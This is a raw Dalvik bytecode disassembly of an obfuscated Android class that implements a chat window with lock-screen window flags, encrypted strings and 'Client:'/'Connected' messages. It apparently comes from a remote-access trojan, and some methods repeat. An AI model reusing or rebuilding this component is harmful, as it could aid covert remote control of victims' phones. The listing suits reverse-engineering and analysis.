00085dd0invoke-virtual {v0, v7}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085dd6iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085ddaconst-string v0, "\n"
00085ddeinvoke-virtual {v7, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085de4invoke-direct {v6}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
00085deaiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00085deeconst-string v0, ""
00085df2invoke-virtual {v7, v0}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
00085df8return-void
00085cf0
00085cf0cmf0.c3b5bm90zq.patch.C6::add(android.view.View):
00085d00iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00085d04invoke-virtual {v7}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
00085d0amove-result-object v7
00085d0cinvoke-virtual {v7}, Ljava/lang/Object;->toString()Ljava/lang/String;
00085d12move-result-object v7
00085d14invoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
00085d1amove-result-object v0
00085d1cconst-string v1, ""
00085d20invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085d26move-result v0
00085d28if-eqz v0, :cond_17
00085d2creturn-void
00085d2enew-instance v0, Ljava/lang/StringBuilder;
00085d32invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00085d38sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085d3cconst-wide/16 v3, 0x4f
00085d40invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085d46move-result-object v1
00085d48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d4esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085d52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d58const-string v1, "Client:"
00085d5cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d62sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085d66invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d6cinvoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085d72invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085d78move-result-object v0
00085d7ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085d80const-string v0, "Me: "
00085d84new-instance v1, Landroid/text/SpannableString;
00085d88invoke-direct {v1, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00085d8enew-instance v0, Landroid/text/style/ForegroundColorSpan;
00085d92const/16 v2, 0xff
00085d96const/4 v3, 0x1
00085d98const/16 v4, 0xae
00085d9cconst/16 v5, 0xf0
00085da0invoke-static {v2, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
00085da6move-result v2
00085da8invoke-direct {v0, v2}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
00085daeconst/4 v2, 0x0
00085db0invoke-interface {v1}, Landroid/text/Spannable;->length()I
00085db6move-result v3
00085db8const/16 v4, 0x21
00085dbcinvoke-interface {v1, v0, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
00085dc2iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085dc6invoke-virtual {v0, v1}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085dcciget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085dd0invoke-virtual {v0, v7}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085dd6iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00085ddaconst-string v0, "\n"
00085ddeinvoke-virtual {v7, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00085de4invoke-direct {v6}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
00085deaiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00085deeconst-string v0, ""
00085df2invoke-virtual {v7, v0}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
00085df8return-void
00085cf0
00085dfa
00085dfa // align 0x4
00085dfa // align 0x4
00085dfc
00085dfccmf0.c3b5bm90zq.patch.C6::onBackPressed():
00085e0ciget-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
00085e10if-nez v0, :cond_2f
00085e14new-instance v0, Ljava/lang/StringBuilder;
00085e18invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00085e1esget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085e22const-wide/16 v3, 0x4f
00085e26invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085e2cmove-result-object v1
00085e2einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e34sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085e38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e3econst-string v1, "Client:"
00085e42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e48sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085e4cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e52const-string v1, "On Back Pressed!!"
00085e56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e5cinvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085e62move-result-object v0
00085e64invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085e6areturn-void
00085dfc
00085dfccmf0.c3b5bm90zq.patch.C6::onBackPressed():
00085e0ciget-boolean v0, v5, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
00085e10if-nez v0, :cond_2f
00085e14new-instance v0, Ljava/lang/StringBuilder;
00085e18invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
00085e1esget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
00085e22const-wide/16 v3, 0x4f
00085e26invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00085e2cmove-result-object v1
00085e2einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e34sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085e38invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e3econst-string v1, "Client:"
00085e42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e48sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00085e4cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e52const-string v1, "On Back Pressed!!"
00085e56invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00085e5cinvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00085e62move-result-object v0
00085e64invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00085e6areturn-void
00085dfc
00085e6c
00085e6ccmf0.c3b5bm90zq.patch.C6::onCreate(android.os.Bundle):
00085e7cinvoke-super {v7, v8}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
00085e82sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
00085e86const/16 v0, 0x19
00085e8aif-gt v8, v0, :cond_19
00085e8esget v8, Landroid/os/Build$VERSION;->SDK_INT:I
00085e92const/16 v0, 0x12
00085e96if-lt v8, v0, :cond_19
00085e9ainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getWindow()Landroid/view/Window;
00085ea0move-result-object v8
00085ea2const v0, 0x680080
00085ea8invoke-virtual {v8, v0}, Landroid/view/Window;->addFlags(I)V
00085eaeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getResources()Landroid/content/res/Resources;
00085eb4move-result-object v8
00085eb6const v0, 0x7f0c0026
00085ebcinvoke-virtual {v8, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
00085ec2move-result-object v8
00085ec4sput-object v8, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
00085ec8const v8, 0x7f09001b
00085eceinvoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->setContentView(I)V
00085ed4new-instance v8, Landroid/content/IntentFilter;
00085ed8invoke-direct {v8}, Landroid/content/IntentFilter;-><init>()V
00085edeiput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
00085ee2iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
00085ee6sget-object v0, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
00085eeainvoke-virtual {v8, v0}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
00085ef0const v8, 0x7f070037
00085ef6invoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
00085efcmove-result-object v8
00085efecheck-cast v8, Landroid/widget/EditText;
00085f02iput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00085f06invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
00085f0cmove-result-object v8
00085f0einvoke-virtual {v8}, Ljava/util/Locale;->getLanguage()Ljava/lang/String;
00085f14move-result-object v8
00085f16const/4 v0, -0x1
00085f18invoke-virtual {v8}, Ljava/lang/String;->hashCode()I
00085f1emove-result v1
00085f20const/4 v2, 0x0
00085f22sparse-switch v1, :sswitch_data_1f0
00085f28goto/16 :goto_c9
00085f2cconst-string v1, "zh"
00085f30invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f36move-result v8
00085f38if-eqz v8, :cond_c9
00085f3cconst/16 v0, 0x9
00085f40goto/16 :goto_c9
00085f44const-string v1, "ur"
00085f48invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f4emove-result v8
00085f50if-eqz v8, :cond_c9
00085f54const/4 v0, 0x6
00085f56goto :goto_c9
00085f58const-string v1, "tr"
00085f5cinvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f62move-result v8
00085f64if-eqz v8, :cond_c9
00085f68const/4 v0, 0x2
00085f6agoto :goto_c9
00085f6cconst-string v1, "ro"
00085f70invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f76move-result v8
00085f78if-eqz v8, :cond_c9
00085f7cconst/16 v0, 0xa
00085f80goto :goto_c9
00085f82const-string v1, "ko"
00085f86invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f8cmove-result v8
00085f8eif-eqz v8, :cond_c9
00085f92const/4 v0, 0x7
00085f94goto :goto_c9
00085f96const-string v1, "ja"
00085f9ainvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fa0move-result v8
00085fa2if-eqz v8, :cond_c9
00085fa6const/16 v0, 0x8
00085faagoto :goto_c9
00085facconst-string v1, "in"
00085fb0invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fb6move-result v8
00085fb8if-eqz v8, :cond_c9
00085fbcconst/4 v0, 0x3
00085fbegoto :goto_c9
00085fc0const-string v1, "fr"
00085fc4invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fcamove-result v8
00085fccif-eqz v8, :cond_c9
00085fd0const/4 v0, 0x4
00085fd2goto :goto_c9
00085fd4const-string v1, "fa"
00085fd8invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fdemove-result v8
00085fe0if-eqz v8, :cond_c9
00085fe4const/4 v0, 0x5
00085fe6goto :goto_c9
00085fe8const-string v1, "en"
00085fecinvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085ff2move-result v8
00085ff4if-eqz v8, :cond_c9
00085ff8const/4 v0, 0x0
00085ffagoto :goto_c9
00085ffcconst-string v1, "ar"
00086000invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00086006move-result v8
00086008if-eqz v8, :cond_c9
0008600cconst/4 v0, 0x1
0008600epacked-switch v0, :pswitch_data_21e
00086014iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086018const-string v0, "Write a message"
0008601cinvoke-virtual {v8, v0}, Landroid/widget/EditText;->setHint(Ljava/lang/CharSequence;)V
00086022goto :goto_106
00086024iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086028const-string v0, "Scrieți un mesaj"
0008602cgoto :goto_d0
0008602eiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086032const-string v0, "鍵入消息"
00086036goto :goto_d0
00086038iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
0008603cconst-string v0, "メッセージを入力"
00086040goto :goto_d0
00086042iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086046const-string v0, "메시지 입력"
0008604agoto :goto_d0
0008604ciget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086050const-string v0, "پیغام لكهیں"
00086054goto :goto_d0
00086056iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
0008605aconst-string v0, "یک پیام بنويسيد"
0008605egoto :goto_d0
00086060iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086064const-string v0, "Taper message"
00086068goto :goto_d0
0008606aiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
0008606econst-string v0, "कोई संदेश लिखें"
00086072goto :goto_d0
00086074iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086078const-string v0, "Bir mesaj yaz"
0008607cgoto :goto_d0
0008607eiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086082const-string v0, "اكتب رسالة"
00086086goto :goto_d0
00086088const v8, 0x7f070058
0008608einvoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
00086094move-result-object v8
00086096check-cast v8, Landroid/widget/ImageButton;
0008609aiput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->e:Landroid/widget/ImageButton;
0008609econst v8, 0x7f07006c
000860a4invoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
000860aamove-result-object v8
000860accheck-cast v8, Landroid/widget/TextView;
000860b0iput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000860b4invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getIntent()Landroid/content/Intent;
000860bamove-result-object v8
000860bcinvoke-virtual {v8}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
000860c2move-result-object v8
000860c4if-eqz v8, :cond_1b9
000860c8sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000860ccconst-wide/16 v3, 0x5a
000860d0invoke-static {v0, v1, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000860d6move-result-object v0
000860d8invoke-virtual {v8, v0}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
000860demove-result-object v0
000860e0check-cast v0, Ljava/lang/String;
000860e4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000860e8const-wide/16 v5, 0x5b
000860ecinvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
000860f2move-result-object v1
000860f4invoke-virtual {v8, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
000860famove-result-object v8
000860fccheck-cast v8, Ljava/lang/String;
00086100sput-object v0, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
00086104if-eqz v8, :cond_1b9
00086108new-instance v0, Landroid/text/SpannableString;
0008610cnew-instance v1, Ljava/lang/StringBuilder;
00086110invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
00086116sget-object v3, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
0008611ainvoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086120const-string v3, ": "
00086124invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008612ainvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
00086130move-result-object v1
00086132invoke-direct {v0, v1}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
00086138new-instance v1, Landroid/text/style/ForegroundColorSpan;
0008613cconst/16 v3, 0xfc
00086140const/16 v4, 0xc8
00086144const/16 v5, 0x86
00086148const/16 v6, 0xff
0008614cinvoke-static {v6, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
00086152move-result v3
00086154invoke-direct {v1, v3}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
0008615ainvoke-interface {v0}, Landroid/text/Spannable;->length()I
00086160move-result v3
00086162const/16 v4, 0x21
00086166invoke-interface {v0, v1, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
0008616ciget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
00086170invoke-virtual {v1, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
00086176const-string v0, "PANG !!"
0008617ainvoke-virtual {v8, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
00086180move-result v0
00086182if-eqz v0, :cond_1aa
00086186const-string v0, "!!"
0008618ainvoke-virtual {v8, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
00086190move-result v0
00086192if-eqz v0, :cond_1aa
00086196new-instance v0, Landroid/text/SpannableString;
0008619ainvoke-direct {v0, v8}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
000861a0new-instance v8, Landroid/text/style/ForegroundColorSpan;
000861a4const/16 v1, 0xf0
000861a8invoke-static {v6, v1, v2, v2}, Landroid/graphics/Color;->argb(IIII)I
000861aemove-result v1
000861b0invoke-direct {v8, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
000861b6invoke-interface {v0}, Landroid/text/Spannable;->length()I
000861bcmove-result v1
000861beinvoke-interface {v0, v8, v2, v1, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
000861c4iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000861c8invoke-virtual {v8, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
000861cegoto :goto_1af
000861d0iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000861d4invoke-virtual {v0, v8}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
000861daiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
000861deconst-string v0, "\n"
000861e2invoke-virtual {v8, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
000861e8invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
000861eenew-instance v8, Ljava/lang/StringBuilder;
000861f2invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
000861f8sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
000861fcconst-wide/16 v2, 0x4f
00086200invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
00086206move-result-object v0
00086208invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008620esget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00086212invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086218const-string v0, "Connected"
0008621cinvoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086222sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
00086226invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
0008622cconst-string v0, "OpWin"
00086230invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
00086236invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
0008623cmove-result-object v8
0008623einvoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
00086244iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086248new-instance v0, Lcmf0/c3b5bm90zq/patch/C6$1;
0008624cinvoke-direct {v0, v7}, Lcmf0/c3b5bm90zq/patch/C6$1;-><init>(Lcmf0/c3b5bm90zq/patch/C6;)V
00086252invoke-virtual {v8, v0}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
00086258return-void
0008625anop
0008625c.sparse-switch
000862b8.packed-switch 0x0
00085e6c
00085e6ccmf0.c3b5bm90zq.patch.C6::onCreate(android.os.Bundle):
00085e7cinvoke-super {v7, v8}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
00085e82sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
00085e86const/16 v0, 0x19
00085e8aif-gt v8, v0, :cond_19
00085e8esget v8, Landroid/os/Build$VERSION;->SDK_INT:I
00085e92const/16 v0, 0x12
00085e96if-lt v8, v0, :cond_19
00085e9ainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getWindow()Landroid/view/Window;
00085ea0move-result-object v8
00085ea2const v0, 0x680080
00085ea8invoke-virtual {v8, v0}, Landroid/view/Window;->addFlags(I)V
00085eaeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C6;->getResources()Landroid/content/res/Resources;
00085eb4move-result-object v8
00085eb6const v0, 0x7f0c0026
00085ebcinvoke-virtual {v8, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
00085ec2move-result-object v8
00085ec4sput-object v8, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
00085ec8const v8, 0x7f09001b
00085eceinvoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->setContentView(I)V
00085ed4new-instance v8, Landroid/content/IntentFilter;
00085ed8invoke-direct {v8}, Landroid/content/IntentFilter;-><init>()V
00085edeiput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
00085ee2iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->g:Landroid/content/IntentFilter;
00085ee6sget-object v0, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
00085eeainvoke-virtual {v8, v0}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
00085ef0const v8, 0x7f070037
00085ef6invoke-virtual {v7, v8}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
00085efcmove-result-object v8
00085efecheck-cast v8, Landroid/widget/EditText;
00085f02iput-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00085f06invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
00085f0cmove-result-object v8
00085f0einvoke-virtual {v8}, Ljava/util/Locale;->getLanguage()Ljava/lang/String;
00085f14move-result-object v8
00085f16const/4 v0, -0x1
00085f18invoke-virtual {v8}, Ljava/lang/String;->hashCode()I
00085f1emove-result v1
00085f20const/4 v2, 0x0
00085f22sparse-switch v1, :sswitch_data_1f0
00085f28goto/16 :goto_c9
00085f2cconst-string v1, "zh"
00085f30invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f36move-result v8
00085f38if-eqz v8, :cond_c9
00085f3cconst/16 v0, 0x9
00085f40goto/16 :goto_c9
00085f44const-string v1, "ur"
00085f48invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f4emove-result v8
00085f50if-eqz v8, :cond_c9
00085f54const/4 v0, 0x6
00085f56goto :goto_c9
00085f58const-string v1, "tr"
00085f5cinvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f62move-result v8
00085f64if-eqz v8, :cond_c9
00085f68const/4 v0, 0x2
00085f6agoto :goto_c9
00085f6cconst-string v1, "ro"
00085f70invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f76move-result v8
00085f78if-eqz v8, :cond_c9
00085f7cconst/16 v0, 0xa
00085f80goto :goto_c9
00085f82const-string v1, "ko"
00085f86invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085f8cmove-result v8
00085f8eif-eqz v8, :cond_c9
00085f92const/4 v0, 0x7
00085f94goto :goto_c9
00085f96const-string v1, "ja"
00085f9ainvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fa0move-result v8
00085fa2if-eqz v8, :cond_c9
00085fa6const/16 v0, 0x8
00085faagoto :goto_c9
00085facconst-string v1, "in"
00085fb0invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fb6move-result v8
00085fb8if-eqz v8, :cond_c9
00085fbcconst/4 v0, 0x3
00085fbegoto :goto_c9
00085fc0const-string v1, "fr"
00085fc4invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fcamove-result v8
00085fccif-eqz v8, :cond_c9
00085fd0const/4 v0, 0x4
00085fd2goto :goto_c9
00085fd4const-string v1, "fa"
00085fd8invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085fdemove-result v8
00085fe0if-eqz v8, :cond_c9
00085fe4const/4 v0, 0x5
00085fe6goto :goto_c9
00085fe8const-string v1, "en"
00085fecinvoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00085ff2move-result v8
00085ff4if-eqz v8, :cond_c9
00085ff8const/4 v0, 0x0
00085ffagoto :goto_c9
00085ffcconst-string v1, "ar"
00086000invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
00086006move-result v8
00086008if-eqz v8, :cond_c9
0008600cconst/4 v0, 0x1
0008600epacked-switch v0, :pswitch_data_21e
00086014iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086018const-string v0, "Write a message"
0008601cinvoke-virtual {v8, v0}, Landroid/widget/EditText;->setHint(Ljava/lang/CharSequence;)V
00086022goto :goto_106
00086024iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086028const-string v0, "Scrieți un mesaj"
0008602cgoto :goto_d0
0008602eiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086032const-string v0, "鍵入消息"
00086036goto :goto_d0
00086038iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
0008603cconst-string v0, "メッセージを入力"
00086040goto :goto_d0
00086042iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086046const-string v0, "메시지 입력"
0008604agoto :goto_d0
0008604ciget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
00086050const-string v0, "پیغام لكهیں"
00086054goto :goto_d0
00086056iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
0008605aconst-string v0, "یک پیام بنويسيد"
0008605egoto :goto_d0
